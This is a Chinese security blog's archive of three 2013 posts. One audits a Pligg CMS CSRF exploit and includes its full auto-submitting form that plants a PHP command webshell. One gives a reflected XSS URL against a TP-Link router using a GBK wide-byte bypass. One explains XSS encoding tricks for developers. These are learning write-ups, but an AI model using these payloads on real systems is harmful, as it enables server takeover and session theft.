月度归档:2013年09月

代码审计—–从看别人的exp或者Poc学起(1)

审计目标为我在exploit-db网上看见的

Pligg CMS 2.0.0rc2 – CSRF File Creation Vulnerability

-Create File by CSRF Exploit-
<html>
<body onload="document.form.submit();">
<form action="http://[target]/pligg/admin/admin_editor.php" method="post" name="form">
<input type="hidden" name="updatedfile" value="<?php system($_REQUEST['cmd']); ?>">
<input type="hidden" name="the_file2" value="/var/www/html/pligg/backd00r.php">
<input type="hidden" name="isempty" value="1">
<input type="hidden" name="save" value="Save+Changes">
</form>
</body>
</html>

上面为漏洞利用代码的exp,接下来我们看看源代码。

我后来分析了下,还有一个漏洞,为查看任意页面源代码漏洞,不过需要登录到后台才可行,都说后台是防御最薄弱的地方,一点都没错。
第一个漏洞利用,因为Post参数the_file没有过滤,加上fread函数可以查看页面内容,接下来我们构造一个存在的文件,由于我是在wamp开发,所以我就实现查看下这个admin_editor.php文件代码。代码修改如下:

-<select class="input-xlarge" name="the_file">
<option value="admin_editor.php">../templates/bootstrap/about_box.tpl</option>

效果图如下:

然后第二个漏洞就是该作者在exploit-db网上发现的csrf getshell漏洞。作者是创建一个新文件,然后写入一个web后门,拿到webshell.

我们可以用另外一个方法也是可以用来getshell,先利用第一个漏洞编辑站点目录index.php,接着我们编辑保存下。

然后运保存成功后,查看index.php,然后就生成了test.php文件

TP-Link路由器 反射xss一枚

这个是针对老版的tp-link,
当前软件版本: 1.2.1 Build 20130604 Rel.31975
当前硬件版本: TL-ER6120 v1.0
我觉得要换路由器了 – – 这路由器太老了
对于那种需要401认证输入密码的 就不行
进个网站,路由器限制了

<script language=JavaScript>
var OptValue = new Array(
"www.baidu.com",
"",
0,
0,0 );
</script>

由图片可以看出字符编码为GBK,你懂的,宽字节绕过
地址栏输入 %81%22 即可闭合双引号。接下来你懂的
测试浏览器 firefox

http://192.168.0.1/userRpm/AdCastWebsiteNotice.htm?orgUrl=%81%22%29;%3C/script%3E%3Cscript%3Ealert%28%27Leesec%27%29;%3C/script%3E

IE 和 GOOGLE浏览器有XSS Filter,大家可以自己构造XSS代码,绕过XSS Filter,进行攻击

XSS编码的那些事

0x01 标签属性里的那些事

比如img标签的src属性、div的style属性、a标签的href属性 等等
以下代码,a标签的href属性

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;">点击我</a>(备注 &#106;为十进制的编码  &#x6A 为16进制的编码,他们之间中间多了个x,你懂的16进制0x01的x就是代表16进制)

把以上代码放在浏览器上运行看效果源代码

<a href="javascript:alert('xss')">点击我</a>

这个过程貌似为
A攻击者请求(恶意代码)—–服务器端接收我这个编码的代码,并判断是否存在恶意代码,如果不存在则返回给浏览器———–浏览器则负责解析我这个编码的代码——–攻击代码已经呈现(备注:好像是这样的,如果不对,望大牛们指点啊)
接下来我们再分析下 标签属性是否可以解析\u003c、\x3c 等编码

<a href="\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x31\x29">test</a>

经过测试,浏览器的属性解析不识别这种,那这个在什么时候识别呢?请看下面介绍。

0x02 标签的事件与script标签

对于上面的问题我在这里做出来onerror=”alert(‘\x6a’)” 这样就没问题啦。
接下来我们来看看这个script标签

var t="\u003cimg src=x onerror=alert(1)\u003e";
document.write(t);
alert("\x3c");

以上代码都可以识别,有木有找出规律?
但是这样的代码 能被解析,但不能被执行

var x="<img src=x onerror=alert(2)>";
document.write(x);

你们可根据以上这些规律,编写出适合自己业务的代码过滤方法
你现在了解style属性里面的expression过滤是否有用,是否考虑到编码的情况?

0x03 总结

这些字符编码,是很多开发者容易忽略的。望看了这篇文章,对你开发安全的网站程序 有帮助